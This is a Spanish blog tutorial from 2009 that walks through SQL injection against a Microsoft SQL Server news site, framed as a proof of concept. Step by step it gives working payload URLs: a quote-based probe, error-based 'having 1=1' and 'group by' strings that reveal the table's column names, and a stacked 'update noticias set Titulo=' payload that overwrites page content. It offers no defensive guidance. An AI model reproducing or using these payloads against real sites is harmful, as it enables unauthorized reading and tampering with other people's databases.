lunes 22 de junio de 2009

Inyeccion SQL en Microsoft Sql Server By Jbyte

Definicion de Inyección SQL

Inyección SQL es una vulnerabilidad informática en el nivel de la validación de las entradas a la base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las partes del programa con código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o de script que esté incrustado dentro de otro.

Una inyección SQL sucede cuando se inserta o "inyecta" un código SQL "invasor" dentro de otro código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el código "invasor" en la base de datos.

La inyección SQL es un problema de seguridad informática que debe ser tomado en cuenta por el programador para prevenirlo. Un programa hecho con descuido, displicencia, o con ignorancia sobre el problema, podrá ser vulnerable y la seguridad del sistema puede quedar ciertamente comprometida. Esto puede suceder tanto en programas ejecutándose en computadores de escritorio, como en páginas Web, ya que éstas pueden funcionar mediante programas ejecutándose en el servidor que las aloja.

Prueva de Consepto Inyección SQL en Microsoft SQL Server

En este Caso haremos la prueva de consepto en website que usen Microsoft SQL Server

1-Tenemo la web por ejemplo

http://www.web.pe/noticias/noticia.asp?id=170

2-Para ver si verificar si esta web es vulnerable a Inyecion SQL en Microsoft SQL Server le agregamos a la direcion una comilla simple ( ' ).

http://www.web.pe/noticias/noticia.asp?id=170'

Al ejecutar la url nos dara lo siguiente

3-Como siguiente paso extraeremos la tabla y campo con los cuales extraeremos los demas campos de la Base de Datos. Para esto usaremos la cláusula.

La cláusula HAVING permite especificar condiciones a los agrupamientos realizados con GROUP BY. Del mismo modo que existe la cláusula WHERE para filas individuales en la sentencia SELECT, también se puede especificar una condición para grupos de registros. Al utilizar la cláusula HAVING no se incluyen aquellos grupos que no cumplan una determinada condición.

La usaremos de la siguiente manera:

http://www.web.pe/noticias/noticia.asp?id=170' having 1=1--

Lo cual al ejecutarlo nos dara como resultado:

Si observamos podemos ver que ya hemos optenido el nombre de la tabla y un campo

Tabla=noticias

Campo=ID

en el caso de que no nos de nada con la cláusula having 1=1--

podemos provar con:

having 1=1–

having+1=1--

having 1=1 ---

4-Si queremos optener los demas campo de la tabla noticias usaremos la cláusula GROUP BY en convinacion con la cláusula having.

La cláusula GROUP BY Agrupa un conjunto de filas seleccionado en un conjunto de filas de resumen de acuerdo con los valores de una o más columnas o expresiones.

La usaremos de la siguiente forma:

http://www.web.pe/noticias/noticia.asp?id=170' group by noticias.ID having 1=1--

Como se puede ver estamos usando los primeros datos optuvidos para extraer asi los demas campos de la tabla noticias.

Lo cual nos mostrar lo siguiente:

Podemos ver que hemo extraido el campo Titulo.

Ahora para que entienda bien are una extracion de un campo mas muy parecida al la forma anterior.

http://www.web.pe/noticias/noticia.asp?id=170' group by noticias.ID, noticias.Titulo having 1=1--

Como se observa estamos usando los dos campos extraidos anteriormente lo cual nos dara como resultado:

En este caso nos muestra el campo Resumen.

De la misma manera podemos extraer los demas campos de la tabla noticias en este caso una extracion exitoso de todos los campos puede ser asi


http://www.web.pe/noticias/noticia.asp?id=170' group by noticias.ID, noticias.Titulo, noticias.Resumen, noticias.Noticia, noticias.Usuario, noticias.Foto, noticias.Fuente, noticias.Pie_foto, noticias.Fecha_Registro, noticias.Usuario_modificacion, noticias.Fecha_modificacion, noticias.Fecha_noticia having 1=1--

La extracion de los campos debe ser hasta que el la web ya no nos muestre campos nuevos, hasta que la web se muestre de forma normal o con el un error pero ya sin mostrarnos algun campo.


Ahora si quisieramos modificar el contenido de algunos de los campos lo unico que tendrias que hacer seria usar la instrucción Update.

La instrucción UPDATE actualiza las columnas de la tabla que se han especificado en la cláusula SET, utilizando los valores que son calculados por las correspondientes expresiones escalares. Si se expresa también la cláusula WHERE, se actualizan sólo las líneas que satisfacen la expresión condicional. Véase que la expresión escalar usada para actualizar una columna puede ser también el resultado de una query escalar, es decir una query que devuelve una sola línea y una sola columna.

La usaremos de la siguiente forma:

http://www.web.pe/noticias/noticia.asp?id=170' update noticias set Titulo='Prueva';--


Como se puede observar el la instrucción update estamos poniendo la tabla que en este caso es noticias y el campo del cual vamos a modificar su contenido en este caso vamos a remplazar su contenido por la cadena de texto "Prueva".

Al ejecutar la sentencia lo siguiente:

Pagina sin Normal


Pagina despues de la ejecucion de http://www.web.pe/noticias/noticia.asp?id=170' update noticias set Titulo='Prueva';--



Como podemos ver el contenido del campo Titulo a sido modificado de la misma forma podemos aserlo con los demas parametros que hemos encontrado.


Bueno espero este pequeño tutorial les aya servidor y cualquier duda o sujerencia pueden ponerlo como comentario es este post o enviarmelo a jbyte@hotmail.es.

Tutorial escrito enteramente por Jbyte para el blog Jbyte Security

Lo pueden descargar en formato pdf desde AQUI


Fuente: http://jbyte-security.blogspot.com/2009/06/inyeccion-sql-en-microsoft-sql-server.html


Saludos
Dr.White